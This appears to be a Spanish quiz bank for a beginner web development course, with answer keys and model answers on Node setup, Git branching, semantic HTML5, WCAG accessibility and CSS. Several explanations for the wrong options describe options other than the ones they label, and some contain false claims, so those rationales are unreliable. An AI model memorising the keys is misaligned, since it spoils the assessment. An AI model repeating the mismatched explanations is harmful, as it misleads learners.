¿Qué harías si al escribir `node --version` en la terminal te aparece 'comando no reconocido'? Explica el proceso de diagnóstico paso a paso. (4 a 6 líneas).
Respuesta modelo: Primero verificaría si Node.js está realmente instalado revisando en 'Agregar o quitar programas' de Windows (o con `which node` en macOS/Linux). Si está, el problema es que no se añadió al PATH: habría que reinstalarlo marcando la opción correspondiente. Si no está instalado, lo descargo desde nodejs.org y lo instalo. Después de cualquier cambio, cierro y abro la terminal de nuevo (las terminales cargan el PATH al iniciarse). Por último, vuelvo a escribir `node --version` para confirmar que ya responde con el número de versión.
-
¿Por qué es importante personalizar tu editor de código antes de empezar a programar? ¿Qué riesgo corres si no lo haces? (3 a 5 líneas).
Respuesta modelo: Personalizar el editor (tema oscuro, fuente cómoda, extensiones mínimas) es como amueblar tu oficina: si lo dejas incómodo, sufrirás 8 horas al día. Si no lo haces, el riesgo es la fatiga visual, la frustración constante con atajos que no conoces y la pérdida de tiempo en tareas que la herramienta podría automatizar (formateo, autocompletado, lint). 30 minutos de configuración ahorran meses de sufrimiento y te hacen más rápido desde el día uno.
-
Imagina que trabajas en equipo con 3 personas en el mismo proyecto. ¿Cómo usarías Git para que nadie pise el trabajo de otro? Explica con un ejemplo concreto. (4 a 6 líneas).
Respuesta modelo: Cada persona trabajaría en su propia rama con `git checkout -b mi-rama`. Cuando termine su parte, hace commit y sube su rama con `git push origin mi-rama`. Después abre un Pull Request en GitHub para que otro compañero revise el código antes de fusionarlo a main. Ejemplo: yo hago la rama `feature/login`, mi compañera hace `feature/dashboard`. Ambas se fusionan a main solo cuando pasan la revisión. Así nadie pisa el trabajo del otro y siempre hay una versión estable en main lista para producción.
Preguntas de opción múltiple (10)
-
¿Cuál es la principal diferencia entre HTML4 y HTML5?
- a) HTML5 es más rápido de cargar en el navegador.
- b) HTML5 introduce etiquetas que describen el SIGNIFICADO del contenido, no solo su apariencia. ✓ correcta
- c) HTML5 reemplazó a JavaScript como lenguaje de programación web.
- d) HTML5 solo funciona en navegadores modernos, HTML4 funciona en todos.
Por qué: HTML5 (2014) pasó de un HTML centrado en la presentación a uno centrado en el significado. Etiquetas como header, nav, main, article, section, aside y footer reemplazan a <div> con clase para describir el rol del contenido.Detalle: HTML5 (2014) pasó de un HTML centrado en la presentación a uno centrado en el significado. Etiquetas como header, nav, main, article, section, aside y footer reemplazan a <div> con clase para describir el rol del contenido. | a) La velocidad de carga no es lo que define la versión; depende del código y los assets. | c) HTML4 tampoco funciona en navegadores modernos actuales; ambos son viejos comparados con lo que soportan hoy. -
¿Cuántas etiquetas <main> puede haber en una página HTML5?
- a) Las que sean necesarias, una por cada sección.
- b) Solo UNA. Representa el contenido principal y único de la página. ✓ correcta
- c) Una por cada artículo que contenga.
- d) Ninguna, porque <main> es opcional.
Por qué: <main> representa el contenido único e importante de la página. Por especificación solo puede haber UNA por documento, igual que el <body>.Detalle: <main> representa el contenido único e importante de la página. Por especificación solo puede haber UNA por documento, igual que el <body>. | a) <main> es único por diseño, igual que <body>. No se repite. | c) Que sea opcional no significa que puedas tener varias. Si la usas, es una sola. -
¿Cuál es la diferencia entre <section> y <article>?
- a) Son sinónimos, no hay diferencia.
- b) <section> agrupa contenido temático; <article> es contenido independiente y reutilizable por sí solo. ✓ correcta
- c) <section> es para blogs, <article> es para noticias.
- d) <article> va siempre dentro de <footer>, <section> dentro de <header>.
Por qué: <section> agrupa temas relacionados con un título propio. <article> representa contenido que tiene sentido por sí solo y podría sindicarse (post, noticia, tarjeta de producto).Detalle: <section> agrupa temas relacionados con un título propio. <article> representa contenido que tiene sentido por sí solo y podría sindicarse (post, noticia, tarjeta de producto). | a) No son sinónimos: la diferencia es clave para accesibilidad y SEO. | c) No tienen una relación de anidamiento fija: <article> puede ir dentro de <section> o viceversa, según el contexto. -
¿Por qué es OBLIGATORIO el atributo alt en <img>?
- a) Porque si no, el navegador no muestra la imagen.
- b) Para que los lectores de pantalla describan la imagen a usuarios no videntes y para SEO de imágenes. ✓ correcta
- c) Porque HTML5 lo exige y si falta, la página no valida en W3C.
- d) Es opcional, no es obligatorio.
Por qué: El atributo alt describe la imagen a usuarios no videntes (vía lectores de pantalla) y a Google Images. Si la imagen es decorativa, alt="" es la forma correcta de decir 'ignorar'.Detalle: El atributo alt describe la imagen a usuarios no videntes (vía lectores de pantalla) y a Google Images. Si la imagen es decorativa, alt="" es la forma correcta de decir 'ignorar'. | a) El navegador sí muestra la imagen sin alt, pero pierde accesibilidad y SEO. | c) Aunque sea técnicamente 'opcional' en validación, omitirlo es una mala práctica seria. Mejor considerarlo obligatorio. -
¿Qué pasa si olvidas <!DOCTYPE html> al inicio de tu página?
- a) El navegador muestra un error y no carga la página.
- b) El navegador entra en 'modo quirks' y aplica reglas de HTML4 antiguo, rompiendo tu CSS moderno. ✓ correcta
- c) La página funciona igual, solo que sin bordes redondeados.
- d) Google no indexa la página en su buscador.
Por qué: Sin DOCTYPE, el navegador entra en modo quirks: simula ser HTML4, los tamaños de caja cambian, los márgenes se duplican y el CSS moderno se comporta de forma impredecible. Es el error más difícil de diagnosticar.Detalle: Sin DOCTYPE, el navegador entra en modo quirks: simula ser HTML4, los tamaños de caja cambian, los márgenes se duplican y el CSS moderno se comporta de forma impredecible. Es el error más difícil de diagnosticar. | a) El navegador no muestra error; carga la página 'en modo raro'. | c) Google no usa DOCTYPE para indexar; sí lo usa para entender la versión de HTML. -
¿Cuál es la diferencia entre <strong> y <b>?
- a) No hay diferencia, son idénticas.
- b) <strong> indica IMPORTANCIA semántica; <b> solo pone texto en negrita visual. ✓ correcta
- c) <b> es la versión moderna de <strong>.
- d) <strong> se usa para citas, <b> para títulos.
Por qué: Visualmente se ven parecidas. La diferencia: <strong> transmite importancia que las máquinas (lectores de pantalla, SEO) pueden entender. <b> es solo decoración visual sin significado.Detalle: Visualmente se ven parecidas. La diferencia: <strong> transmite importancia que las máquinas (lectores de pantalla, SEO) pueden entender. <b> es solo decoración visual sin significado. | a) Sí hay diferencia: una es semántica, la otra es puramente visual. | c) Ninguna se usa para citas (eso es <blockquote> o <cite>). -
¿Qué hace el atributo target="_blank" en un enlace?
- a) Descarga el archivo enlazado.
- b) Abre el enlace en una pestaña o ventana nueva. ✓ correcta
- c) Marca el enlace como nofollow para SEO.
- d) Hace que el enlace se abra en un iframe.
Por qué: target="_blank" indica al navegador que abra el enlace en una pestaña nueva, dejando la actual intacta. Por seguridad, debe acompañarse de rel="noopener noreferrer".Detalle: target="_blank" indica al navegador que abra el enlace en una pestaña nueva, dejando la actual intacta. Por seguridad, debe acompañarse de rel="noopener noreferrer". | a) Para descargar se usa el atributo download, no target. | c) Para iframes se usa la etiqueta <iframe>, no un atributo de <a>. -
¿Qué etiquetas forman parte de los '4 cimientos' de una página HTML5?
- a) header, nav, main, footer
- b) <!DOCTYPE html>, lang, charset, viewport ✓ correcta
- c) html, head, body, title
- d) div, span, p, a
Por qué: Los 4 cimientos son: <!DOCTYPE html> (modo estándar), lang en <html> (idioma), charset="UTF-8" en <meta> (caracteres) y viewport en <meta> (responsive).Detalle: Los 4 cimientos son: <!DOCTYPE html> (modo estándar), lang en <html> (idioma), charset="UTF-8" en <meta> (caracteres) y viewport en <meta> (responsive). | a) Esas son las 7 etiquetas estructurales semánticas, no los cimientos. | c) div y span son etiquetas genéricas; no son cimientos. -
¿Para qué sirve la etiqueta <figure> con <figcaption>?
- a) Para crear figuras geométricas con CSS.
- b) Para asociar una imagen (u otro medio) con su pie de foto de forma semántica. ✓ correcta
- c) Para hacer que la imagen se vea en alta resolución.
- d) Para agrupar varias imágenes en una galería.
Por qué: <figure> agrupa contenido visual (imagen, ilustración, código, video) y <figcaption> es su pie. La asociación es semántica, no solo visual: lectores de pantalla y máquinas la entienden.Detalle: <figure> agrupa contenido visual (imagen, ilustración, código, video) y <figcaption> es su pie. La asociación es semántica, no solo visual: lectores de pantalla y máquinas la entienden. | a) Para figuras geométricas se usa CSS, no HTML. | c) Para galerías se usan otras técnicas (CSS Grid, JS, librerías). figure es para UNA imagen con su descripción. -
En un enlace que abre en nueva pestaña, ¿por qué se recomienda agregar rel="noopener noreferrer"?
- a) Para que el enlace se abra más rápido.
- b) Por seguridad: sin esto, la página abierta puede manipular la tuya con window.opener. ✓ correcta
- c) Para que Google no siga el enlace.
- d) Para que el enlace sea accesible.
Por qué: Sin rel="noopener", la nueva pestaña puede acceder a window.opener y manipular la página original (phishing, redirección maliciosa). noreferrer además evita enviar el header Referer.Detalle: Sin rel="noopener", la nueva pestaña puede acceder a window.opener y manipular la página original (phishing, redirección maliciosa). noreferrer además evita enviar el header Referer. | a) La velocidad no depende de este atributo. | c) La accesibilidad de un enlace se controla con su texto visible y atributos aria, no con rel.
Preguntas abiertas (3)
-
Explica la diferencia entre <section> y <article>. ¿En qué casos usarías cada uno? Da un ejemplo concreto de cada uno. (4 a 6 líneas).
Respuesta modelo: <section> agrupa contenido temático con un título propio, pero ese contenido solo tiene sentido dentro del contexto mayor (como una sección 'Pasatiempos' dentro de una página Sobre mí). <article>, en cambio, representa contenido que tiene sentido por sí solo y podría sindicarse, reusarse o compartirse de forma independiente. Ejemplo de <article>: un post de blog, una noticia, una tarjeta de producto, un comentario. Ejemplo de <section>: la zona 'Contacto' de una página, la zona 'Quiénes somos' de un sitio institucional. Regla práctica: si pudiera sacarlo a un feed RSS y seguir entendiéndose, es <article>.
-
¿Por qué es importante que el HTML sea semántico? Da al menos 3 razones concretas y explica cada una brevemente. (4 a 6 líneas).
Respuesta modelo: Razón 1 (Accesibilidad): los lectores de pantalla anuncian 'navegación principal' al llegar a <nav> y 'artículo' al entrar a <article>. Con <div> dicen 'div' sin contexto, dejando al usuario no vidente perdido. Razón 2 (SEO): Google entiende la estructura de tu página y puede posicionar mejor los contenidos según su jerarquía semántica (h1, h2, etc.). Razón 3 (Mantenimiento): tu equipo (y tú en 6 meses) entiende el código sin tener que abrir el CSS para descifrar qué clase correspondía a qué zona. Además, las hojas de estilo se vuelven más simples al poder usar selectores por etiqueta (header, footer) en vez de por clase.
-
Imagina que quieres hacer una página de un periódico digital con las noticias del día. ¿Qué etiquetas semánticas usarías para estructurar la página y por qué? (4 a 6 líneas).
Respuesta modelo: Usaría <header> para el logo, fecha y <nav> con las secciones (Política, Economía, Deportes). <main> contendría la noticia destacada del día y una <section> con el listado de noticias más recientes, cada una en un <article> (porque cada noticia tiene sentido por sí sola y podría sindicarse). Usaría <aside> para una barra lateral con 'Lo más leído' y publicidad relacionada. <footer> con copyright, contacto, dirección física y enlaces a redes sociales. Cada <article> llevaría su <h2> como titular, un <p> de lead, la fecha en <time datetime='2026-08-04'>4 de agosto de 2026</time> y al menos una <figure> con la foto de la noticia y su <figcaption>.
Preguntas de opción múltiple (10)
-
¿Qué porcentaje aproximado de la población mundial vive con alguna forma de discapacidad, según la OMS?
- a) Menos del 1% (es un caso excepcional).
- b) Aproximadamente 15%. ✓ correcta
- c) Más del 50%.
- d) No hay datos confiables.
Por qué: La OMS estima que el 15% de la población mundial vive con alguna discapacidad. Es 1 de cada 7 personas, no un caso excepcional.Detalle: La OMS estima que el 15% de la población mundial vive con alguna discapacidad. Es 1 de cada 7 personas, no un caso excepcional. | a) 1% sería ridículamente bajo. Las cifras reales son mucho mayores. | c) La OMS tiene datos confiables y los publica regularmente. -
¿Cuáles son los 4 principios de WCAG (POUR)?
- a) Perceptible, Operable, Comprensible, Robusto. ✓ correcta
- b) Público, Abierto, Universal, Reutilizable.
- c) Profesional, Optimizado, Único, Rápido.
- d) Personalizable, Organizado, Usable, Responsive.
Por qué: POUR: Perceptible (el usuario puede percibir la información), Operable (puede usar la interfaz), Comprensible (entiende el contenido y el funcionamiento), Robusto (compatible con tecnologías de asistencia).Detalle: POUR: Perceptible (el usuario puede percibir la información), Operable (puede usar la interfaz), Comprensible (entiende el contenido y el funcionamiento), Robusto (compatible con tecnologías de asistencia). | b) Esos adjetivos no corresponden a ningún estándar de accesibilidad reconocido. | c) Esos adjetivos describen cualidades generales de UI, no los principios WCAG. -
¿Qué nivel de conformidad WCAG suele exigirse por ley en la mayoría de países?
- a) Nivel A únicamente.
- b) Nivel AA (estándar legal y de la industria). ✓ correcta
- c) Nivel AAA siempre.
- d) WCAG no tiene niveles.
Por qué: El Nivel AA es el estándar legal en la mayoría de países (incluida la UE) y el que auditan herramientas como Lighthouse y WAVE por defecto. El nivel A es el mínimo indispensable, y el AAA es aspiracional para contenido crítico.Detalle: El Nivel AA es el estándar legal en la mayoría de países (incluida la UE) y el que auditan herramientas como Lighthouse y WAVE por defecto. El nivel A es el mínimo indispensable, y el AAA es aspiracional para contenido crítico. | a) Nivel A es solo el mínimo. Cumplir solo A deja fuera a muchos usuarios. | c) WCAG sí tiene tres niveles: A, AA y AAA. -
¿Cuál es la proporción mínima de contraste entre texto y fondo para Nivel AA (texto normal)?
- a) 1.5:1
- b) 3:1
- c) 4.5:1 ✓ correcta
- d) 21:1
Por qué: Para texto normal, WCAG AA exige contraste mínimo de 4.5:1. Para texto grande (18pt o 14pt bold), basta 3:1. Se mide con fórmulas de luminancia relativa (no con 'a ojo').Detalle: Para texto normal, WCAG AA exige contraste mínimo de 4.5:1. Para texto grande (18pt o 14pt bold), basta 3:1. Se mide con fórmulas de luminancia relativa (no con 'a ojo'). | a) 1.5:1 es demasiado bajo. Casi cualquier color cumple. | b) 3:1 es el mínimo para texto grande, no para texto normal. -
Según WCAG, ¿está permitido comunicar información SOLO con color?
- a) Sí, siempre que el color tenga buen contraste.
- b) No, nunca. Siempre debe haber un segundo indicador (texto, icono, patrón). ✓ correcta
- c) Solo si el color es rojo o verde.
- d) Solo para usuarios con daltonismo.
Por qué: WCAG 1.4.1 (Nivel A) prohíbe comunicar información solo con color. Si 'campo inválido' se marca solo con borde rojo, un daltónico no lo nota. Combina siempre color + texto + icono.Detalle: WCAG 1.4.1 (Nivel A) prohíbe comunicar información solo con color. Si 'campo inválido' se marca solo con borde rojo, un daltónico no lo nota. Combina siempre color + texto + icono. | a) El contraste es importante, pero la regla WCAG 1.4.1 va más allá: no basta con que el color sea distinguible, debe haber un segundo canal. | c) La regla aplica para TODOS los usuarios, no solo daltónicos. -
¿Por qué NO se debe usar `outline: none` en CSS sin reemplazarlo con otro indicador?
- a) Porque el navegador muestra una advertencia de error.
- b) Porque elimina el único indicador visual de qué elemento tiene el foco, haciendo la página inutilizable con teclado. ✓ correcta
- c) Porque es ilegal.
- d) Porque los lectores de pantalla se rompen.
Por qué: El outline azul/negro era el ÚNICO indicador visual de qué elemento tiene el foco del teclado. Quitarlo sin reemplazo hace que usuarios de teclado no sepan dónde están y no puedan navegar. WCAG 2.4.7 lo prohíbe explícitamente.Detalle: El outline azul/negro era el ÚNICO indicador visual de qué elemento tiene el foco del teclado. Quitarlo sin reemplazo hace que usuarios de teclado no sepan dónde están y no puedan navegar. WCAG 2.4.7 lo prohíbe explícitamente. | a) El navegador no muestra advertencias por CSS. | c) Los lectores de pantalla no se rompen; ellos leen el HTML, no ven el outline. -
¿Qué es un 'skip link' y para qué sirve?
- a) Un enlace que rompe la página si se hace clic.
- b) Un enlace invisible al inicio de la página que permite a usuarios de teclado saltar el menú e ir directo al contenido principal. ✓ correcta
- c) Un enlace de salto a otra página externa.
- d) Un enlace que solo funciona en navegadores antiguos.
Por qué: El skip link es un enlace al inicio del <body>, invisible por defecto, que aparece al recibir foco. Permite a usuarios de teclado (y lectores de pantalla) saltarse el menú de navegación e ir directo al contenido principal, evitando tabular 20 veces solo para llegar al primer párrafo.Detalle: El skip link es un enlace al inicio del <body>, invisible por defecto, que aparece al recibir foco. Permite a usuarios de teclado (y lectores de pantalla) saltarse el menú de navegación e ir directo al contenido principal, evitando tabular 20 veces solo para llegar al primer párrafo. | a) No rompe nada, solo es un enlace interno a un ancla. | c) Funciona en todos los navegadores modernos, no solo antiguos. -
Según la primera regla de ARIA, ¿cuándo se debe usar?
- a) Siempre, en todos los elementos interactivos.
- b) Solo cuando NO exista una etiqueta HTML semántica que exprese lo mismo. ✓ correcta
- c) Solo en formularios.
- d) Nunca, ARIA es obsoleto.
Por qué: La regla #1 de ARIA oficial: 'No uses ARIA si puedes usar HTML semántico'. Si tu <button> necesita aria-label, está bien. Pero si tu <div onclick> necesita role='button' + tabindex='0' + eventos de teclado... mejor usa <button> directamente y evítate el trabajo.Detalle: La regla #1 de ARIA oficial: 'No uses ARIA si puedes usar HTML semántico'. Si tu <button> necesita aria-label, está bien. Pero si tu <div onclick> necesita role='button' + tabindex='0' + eventos de teclado... mejor usa <button> directamente y evítate el trabajo. | a) ARIA es solo cuando HTML no alcanza; no es para todos los elementos. | c) ARIA no es obsoleto: es el estándar actual de W3C para accesibilidad rica. -
¿Qué es WCAG?
- a) Un framework de JavaScript para interfaces accesibles.
- b) Las Pautas de Accesibilidad para el Contenido Web, el estándar internacional creado por la W3C. ✓ correcta
- c) Un plugin de Chrome que audita páginas.
- d) Una certificación de programador.
Por qué: WCAG (Web Content Accessibility Guidelines) son las Pautas de Accesibilidad para el Contenido Web, desarrolladas por la W3C. Es el estándar internacional que la mayoría de las leyes nacionales adoptan como referencia.Detalle: WCAG (Web Content Accessibility Guidelines) son las Pautas de Accesibilidad para el Contenido Web, desarrolladas por la W3C. Es el estándar internacional que la mayoría de las leyes nacionales adoptan como referencia. | a) WCAG no es código ni framework, es un conjunto de pautas y reglas. | c) WCAG no es una certificación personal, es un estándar para contenido web. -
¿Por qué los videos deben tener subtítulos según WCAG?
- a) Es opcional, solo si el video es muy largo.
- b) Porque las personas sordas no pueden escuchar el audio; sin subtítulos, el video es INVISIBLE para ellas. ✓ correcta
- c) Solo para subir el video a YouTube.
- d) Por motivos de copyright.
Por qué: Para una persona sorda, un video sin subtítulos es INVISIBLE: pierde el 100% del contenido hablado. WCAG 1.2.2 (Nivel A) exige subtítulos para cualquier audio pregrabado en video. Es un requisito legal, no estético.Detalle: Para una persona sorda, un video sin subtítulos es INVISIBLE: pierde el 100% del contenido hablado. WCAG 1.2.2 (Nivel A) exige subtítulos para cualquier audio pregrabado en video. Es un requisito legal, no estético. | a) Es obligatorio para TODO video que tenga audio, sin importar la duración. | c) El copyright es un tema legal distinto al de accesibilidad.
Preguntas abiertas (3)
-
Explica con tus palabras la regla 4.5:1 de contraste WCAG. ¿Por qué existe y qué pasa si la ignoras? (3 a 5 líneas).
Respuesta modelo: La regla 4.5:1 dice que el texto normal debe tener al menos esa proporción de contraste contra su fondo para ser legible bajo WCAG AA. Existe porque hay usuarios con baja visión, otros que ven la pantalla bajo luz solar directa, otros con monitores viejos, etc. Si la ignoras, tu página será difícil o imposible de leer para una porción significativa de usuarios, incluso aunque ellos no se identifiquen como 'discapacitados'. Se mide con fórmulas de luminancia relativa, no 'a ojo'. Herramientas: WebAIM Contrast Checker, Lighthouse, axe.
-
¿Por qué NO se debe comunicar información solo con color? Da un ejemplo concreto de una página real (formulario, dashboard, etc.) y cómo lo arreglarías. (4 a 6 líneas).
Respuesta modelo: Porque el 8% de los hombres y 0.5% de las mujeres tienen algún grado de daltonismo y no distinguen ciertos colores. WCAG 1.4.1 lo prohíbe. Ejemplo: en un formulario de login, marco el campo 'contraseña' con borde rojo cuando está vacío. Un usuario daltónico no ve el rojo y no sabe qué pasa. La solución: combinar el color rojo CON un mensaje de texto ('Este campo es obligatorio'), un icono (⚠) y opcionalmente un patrón visual. Así, incluso un usuario que no distinga el color recibe la información por tres canales distintos.
-
Imagina que trabajas en una empresa que te pide 'agregar accesibilidad' a un sitio web ya existente. ¿Cuáles serían tus primeros 3 pasos concretos y por qué? (4 a 6 líneas).
Respuesta modelo: Paso 1: Auditar con Lighthouse y WAVE para tener una línea base objetiva del puntaje y los problemas concretos. Sin auditoría previa, 'agregar accesibilidad' es disparar a ciegas. Paso 2: Priorizar los errores de Nivel A (los más graves: videos sin subtítulos, imágenes sin alt, botones no operables por teclado) porque excluyen COMPLETAMENTE a usuarios enteros. Paso 3: Crear un checklist WCAG AA en el flujo de trabajo: que cada PR nuevo sea revisado con axe DevTools y probado con teclado + lector de pantalla. Sin capacitación del equipo, los problemas vuelven a aparecer en 2 semanas.
Preguntas de opción múltiple (10)
-
¿Cuál es la mejor forma de aplicar CSS en un sitio en producción?
- a) Estilos inline (style='...') en cada elemento.
- b) Una etiqueta <style> en el <head> de cada página.
- c) Un archivo .css externo enlazado con <link rel='stylesheet'>. ✓ correcta
- d) Mezclar inline, interno y externo según la página.
Por qué: El archivo CSS externo enlazado con <link> permite separar estructura de presentación, reutilizar estilos entre páginas y mantener un único lugar para cambiar el aspecto de todo el sitio.Detalle: El archivo CSS externo enlazado con <link> permite separar estructura de presentación, reutilizar estilos entre páginas y mantener un único lugar para cambiar el aspecto de todo el sitio. | a) Los estilos inline mezclan estructura con presentación, son imposibles de mantener y no se pueden reutilizar. | b) El <style> interno solo aplica a esa página, no se reutiliza y ensucia el HTML. -
En CSS, ¿qué selector tiene MAYOR especificidad?
- a) Por etiqueta: h1 { }
- b) Por clase: .mi-clase { }
- c) Por id: #mi-id { } ✓ correcta
- d) Universal: * { }
Por qué: El orden de especificidad CSS es: inline > id > clase/atributo/pseudo-clase > etiqueta > universal. Por eso los IDs son peligrosos para estilos: casi nada los sobreescribe sin !important.Detalle: El orden de especificidad CSS es: inline > id > clase/atributo/pseudo-clase > etiqueta > universal. Por eso los IDs son peligrosos para estilos: casi nada los sobreescribe sin !important. | a) Por etiqueta tiene la segunda MENOR especificidad (después del universal). | b) Por clase está en el medio: mayor que etiqueta, menor que id. -
Con box-sizing: content-box (por defecto), un elemento con width: 200px, padding: 20px y border: 5px, ¿cuánto mide de ancho TOTAL?
- a) 200px (lo que pediste).
- b) 230px.
- c) 250px. ✓ correcta
- d) 210px.
Por qué: Con content-box: width = solo el contenido. Total = 200 (contenido) + 20*2 (padding izq+der) + 5*2 (border izq+der) = 250px. Por eso es tan confuso y se recomienda border-box.Detalle: Con content-box: width = solo el contenido. Total = 200 (contenido) + 20*2 (padding izq+der) + 5*2 (border izq+der) = 250px. Por eso es tan confuso y se recomienda border-box. | a) Solo mide 200 si NO tuviera padding ni border. | b) 230 sería 200 + 20*2 (solo padding, sin border). -
¿Qué hace box-sizing: border-box?
- a) Quita el padding y el border del cálculo del tamaño.
- b) Hace que width incluya el padding y el border, así 'lo que pides es lo que obtienes'. ✓ correcta
- c) Aumenta el tamaño del elemento un 50%.
- d) Cambia el color del borde a negro.
Por qué: Con border-box, el width que declaras INCLUYE el padding y el border. Un width:200px + padding:20px + border:5px mide 200px de ancho total, no 250px. Es el reset moderno que deberías aplicar a TODO.Detalle: Con border-box, el width que declaras INCLUYE el padding y el border. Un width:200px + padding:20px + border:5px mide 200px de ancho total, no 250px. Es el reset moderno que deberías aplicar a TODO. | a) No los quita, los INCLUYE en el ancho declarado. | c) No cambia colores, solo la forma de calcular dimensiones. -
¿Cuál es la diferencia entre margin y padding?
- a) Son sinónimos, no hay diferencia.
- b) Padding es espacio INTERNO entre el contenido y el borde; margin es espacio EXTERNO entre esta caja y otras. ✓ correcta
- c) Margin es para texto, padding es para imágenes.
- d) Padding va arriba, margin va abajo.
Por qué: Padding = espacio DENTRO de la caja (entre el contenido y el borde). El fondo del elemento cubre el padding. Margin = espacio FUERA de la caja (entre esta y otras). El fondo NO cubre el margin.Detalle: Padding = espacio DENTRO de la caja (entre el contenido y el borde). El fondo del elemento cubre el padding. Margin = espacio FUERA de la caja (entre esta y otras). El fondo NO cubre el margin. | a) No son sinónimos. Confundirlos es uno de los errores más comunes de principiantes. | c) Aplica a los 4 lados, no solo arriba o abajo. -
¿Por qué es mejor usar rem en vez de px para font-size?
- a) rem es más moderno y los px ya no se permiten.
- b) rem escala según el font-size del usuario, respetando sus preferencias de accesibilidad; px no. ✓ correcta
- c) rem carga más rápido que px.
- d) No hay diferencia, son equivalentes.
Por qué: rem es relativo al font-size del <html>, que el usuario puede cambiar en su navegador (típicamente en Configuración > Accesibilidad). Si usas px, IGNORAS esa preferencia. Con rem, tu diseño escala para usuarios con baja visión que necesitan texto más grande.Detalle: rem es relativo al font-size del <html>, que el usuario puede cambiar en su navegador (típicamente en Configuración > Accesibilidad). Si usas px, IGNORAS esa preferencia. Con rem, tu diseño escala para usuarios con baja visión que necesitan texto más grande. | a) px sigue siendo válido y útil (para bordes, sombras). El problema es USARLO PARA TODO. | c) No son equivalentes: px es absoluto, rem es relativo. -
Para que un texto se escale entre 24px en móvil y 48px en escritorio de forma fluida, ¿qué propiedad moderna de CSS3 usarías?
- a) font-size: 100%
- b) @media (min-width: 768px) { font-size: 48px; }
- c) font-size: clamp(1.5rem, 4vw, 3rem) ✓ correcta
- d) font-size: auto
Por qué: clamp(minimo, ideal, maximo) permite tipografía fluida: usa 4vw (4% del viewport) como valor ideal, con un piso de 1.5rem (24px) y un techo de 3rem (48px). Escala suavemente sin necesidad de media queries.Detalle: clamp(minimo, ideal, maximo) permite tipografía fluida: usa 4vw (4% del viewport) como valor ideal, con un piso de 1.5rem (24px) y un techo de 3rem (48px). Escala suavemente sin necesidad de media queries. | a) 100% no es un valor válido para font-size: depende del contexto. | b) Los media queries funcionan, pero solo cambian en saltos discretos, no de forma fluida. -
¿Cuál es la ventaja principal de hsl() sobre hex para definir colores en CSS?
- a) hsl() carga más rápido.
- b) hsl() es intuitivo: cambiar la 'L' (luminosidad) te da variaciones predecibles del mismo color; cambiar hex es adivinar. ✓ correcta
- c) hsl() solo funciona en navegadores nuevos.
- d) No hay ventaja, son equivalentes.
Por qué: En hsl(24, 100%, 50%) sabes que 24 es el tono (naranja), 100% la saturación (intenso) y 50% la luminosidad (medio). Si quieres un naranja más oscuro, solo cambias el 50% a 40%. Con hex (#FF6B00) tendrías que adivinar el nuevo valor.Detalle: En hsl(24, 100%, 50%) sabes que 24 es el tono (naranja), 100% la saturación (intenso) y 50% la luminosidad (medio). Si quieres un naranja más oscuro, solo cambias el 50% a 40%. Con hex (#FF6B00) tendrías que adivinar el nuevo valor. | a) La velocidad de carga es la misma; el archivo CSS no cambia de tamaño apreciablemente. | c) No son equivalentes: hsl es mucho más fácil de mantener y manipular. -
Para definir una PALETA de colores fácil de mantener en todo el sitio, ¿qué técnica de CSS3 usarías?
- a) Copiar y pegar el mismo color en cada regla CSS.
- b) Usar Custom Properties (variables CSS) definidas en :root. ✓ correcta
- c) Definir la paleta en un archivo JavaScript.
- d) Usar el atributo style en cada elemento.
Por qué: Las Custom Properties (--color-primario: #FF6B00;) en :root te permiten definir la paleta una vez y usarla en todo el sitio con var(--color-primario). Cambiar el color principal es modificar UNA línea, no buscar y reemplazar en 200 archivos.Detalle: Las Custom Properties (--color-primario: #FF6B00;) en :root te permiten definir la paleta una vez y usarla en todo el sitio con var(--color-primario). Cambiar el color principal es modificar UNA línea, no buscar y reemplazar en 200 archivos. | a) Copiar y pegar es propenso a errores y muy difícil de mantener. | c) El atributo style inline es justo lo que intentamos evitar. -
Para tipografía de cuerpo de texto en una web moderna, ¿cuál es el line-height (altura de línea) recomendado?
- a) 1.0 (las líneas pegadas, como en los libros).
- b) Entre 1.5 y 1.7 (espacio cómodo para lectura en pantalla). ✓ correcta
- c) 2.5 o más (mucho espacio, para niños).
- d) No importa, el navegador usa un valor por defecto.
Por qué: Para texto corrido en pantalla, WCAG y las buenas prácticas recomiendan line-height entre 1.5 y 1.7. Menos de 1.4 hace que las líneas se 'peguen' y el ojo se canse más rápido. Más de 1.8 da sensación de texto 'suelto' y rompe el ritmo de lectura.Detalle: Para texto corrido en pantalla, WCAG y las buenas prácticas recomiendan line-height entre 1.5 y 1.7. Menos de 1.4 hace que las líneas se 'peguen' y el ojo se canse más rápido. Más de 1.8 da sensación de texto 'suelto' y rompe el ritmo de lectura. | a) 1.0 (sin espacio) es para títulos compactos, no para texto corrido. | c) Aunque el navegador tiene un default (1.2 aprox), es muy apretado. Siempre conviene definirlo.
Preguntas abiertas (3)
-
Explica la diferencia entre margin y padding con un ejemplo concreto. ¿Cuándo usarías cada uno? (3 a 5 líneas).
Respuesta modelo: Padding es el espacio INTERNO de una caja: el área entre el contenido y el borde. El fondo del elemento CUBRE el padding. Margin es el espacio EXTERNO: la separación entre esta caja y las demás. El fondo NO cubre el margin. Ejemplo: en un botón, uso padding: 12px para que el texto tenga aire dentro del botón (y el área clicable sea grande). Uso margin: 8px para separar este botón del siguiente. Regla práctica: si el área debe ser 'tocable' o tener el color de fondo, es padding; si solo quieres separar del resto, es margin.
-
¿Por qué es mejor usar rem en vez de px para font-size? Da un ejemplo concreto de un usuario que se beneficia. (3 a 5 líneas).
Respuesta modelo: rem es relativo al font-size del <html>, que el usuario puede cambiar en su navegador (Configuración > Accesibilidad > Tamaño de texto). Si usas px, IGNORAS esa preferencia. Ejemplo: un usuario con baja visión configura su navegador a 20px por defecto. Si tu CSS dice font-size: 16px (en px), el texto le queda igual de pequeño. Si dices font-size: 1rem, automáticamente le queda 20px (un 25% más grande) sin que tú hagas nada. La accesibilidad se 'gratis' para ti. Con px, lo rompes sin querer.
-
Imagina que tu empresa te pide un sitio web 'minimalista y profesional'. Define UNA paleta de 3 colores usando hsl() con custom properties, y JUSTIFICA cada elección. (4 a 6 líneas).
